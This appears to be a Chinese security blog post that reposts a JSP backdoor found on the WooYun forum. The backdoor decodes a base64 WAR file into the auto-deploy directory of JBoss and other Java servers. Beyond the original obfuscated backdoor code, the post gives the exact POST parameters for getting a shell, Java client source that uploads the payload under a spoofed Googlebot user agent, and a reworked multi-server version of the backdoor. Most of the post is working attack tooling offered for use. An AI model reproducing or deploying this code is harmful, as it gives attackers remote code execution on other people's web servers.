- A+
所属分类:WooYun-Zone
在乌云社区发现有人发了一个Jboss的自动部署war的后门求此后门的利用方法。
<%@page import="java.io.*, java.util.*, sun.misc.BASE64Decoder"%> <% String PJdpj = ""; String pIGx = ""; String RSVw = System.getProperty("jboss.server.home.dir"); if (request.getParameter("pUBYyDsT") != null) { try { PJdpj = request.getParameter("pUBYyDsT"); pIGx = request.getParameter("oAEICWIo"); byte[] rFPE = new BASE64Decoder().decodeBuffer(PJdpj); String MfNJU = RSVw + "/deploy/" + pIGx + ".war"; FileOutputStream twkH = new FileOutputStream(MfNJU); twkH.write(rFPE); twkH.close(); } catch (Exception e) { } } else { try { String VBpM = request.getParameter("oAEICWIo"); String dhkDS = RSVw + "/deploy/" + VBpM + ".war"; new File(dhkDS).delete(); } catch (Exception e) { } } %>
挺聪明的Server一般都提供了自动部署服务,也就是说只需要把war包放到默认能够自动部署的目录就行了。
POST提交:http://xxx.com/xxx.jsp
参数:
pUBYyDsT=war文件的Basr64编码&oAEICWIo=Test
然后请求http://xxx.com/Test就getshell了。Test是war文件的项目名。
只需简单的改改getProperty的属性值就能够通用到Tomcat等Server.
客户端工具:
源码:
private void jButton1ActionPerformed(java.awt.event.ActionEvent evt) { String war = jTextField3.getText(); if(war!=null){ try { FileInputStream fis = new FileInputStream(new File(war)); byte[] b = new byte[1024]; int n = 0; ByteArrayOutputStream baos = new ByteArrayOutputStream(); while((n=fis.read(b))!=-1){ baos.write(b,0,n); } String content = new BASE64Encoder().encode(baos.toByteArray()); fis.close(); Map<String,String> map = new HashMap<String, String>(); map.put("oAEICWIo", jTextField2.getText()); map.put("pUBYyDsT", content); Jsoup.connect(jTextField1.getText()).data(map).userAgent("Googlebot/2.1 (+http://www.googlebot.com/bot.html").timeout(30000).post(); jTextArea1.setText("请求成功..."); } catch (Exception e) { jTextArea1.setText(e.toString()); } } } private void jButton2ActionPerformed(java.awt.event.ActionEvent evt) { int result = 0; String path = null; JFileChooser fileChooser = new JFileChooser(); FileSystemView fsv = FileSystemView.getFileSystemView(); fileChooser.setCurrentDirectory(fsv.getHomeDirectory()); fileChooser.setDialogTitle("请选择war文件."); fileChooser.setApproveButtonText("确定"); fileChooser.setFileSelectionMode(JFileChooser.FILES_ONLY); result = fileChooser.showOpenDialog(fileChooser); if (JFileChooser.APPROVE_OPTION == result) { path=fileChooser.getSelectedFile().getPath(); } jTextField3.setText(path); }
修改后的jsp后门:
<%@page import="java.io.*,java.util.*,sun.misc.BASE64Decoder"%> <%! String getServer(HttpServletRequest request,String name){ if(name.indexOf("jboss")!=-1){ return System.getProperty("jboss.server.home.dir")+"/deploy/"; }else if(name.indexOf("jetty")!=-1){ return System.getProperty("jetty.home")+"/webapps/"; }else if(name.indexOf("resin")!=-1){ return System.getProperty("resin.home")+"/webapps/"; } return System.getProperty("catalina.home")+"/webapps/"; } %> <% String PJdpj = request.getParameter("pUBYyDsT"); if (PJdpj!= null) { try { String RSVw = getServer(request, application.getServerInfo().toLowerCase()).replaceAll("\\\\", "/")+request.getParameter("oAEICWIo")+".war"; FileOutputStream twkH = new FileOutputStream(RSVw); twkH.write(new BASE64Decoder().decodeBuffer(PJdpj)); twkH.close(); String dhkDS = RSVw+ ".war"; new File(dhkDS).delete(); } catch (Exception e) { } } %>
- 我的微信
- 这是我的微信扫一扫
- 我的微信公众号
- 我的微信公众号扫一扫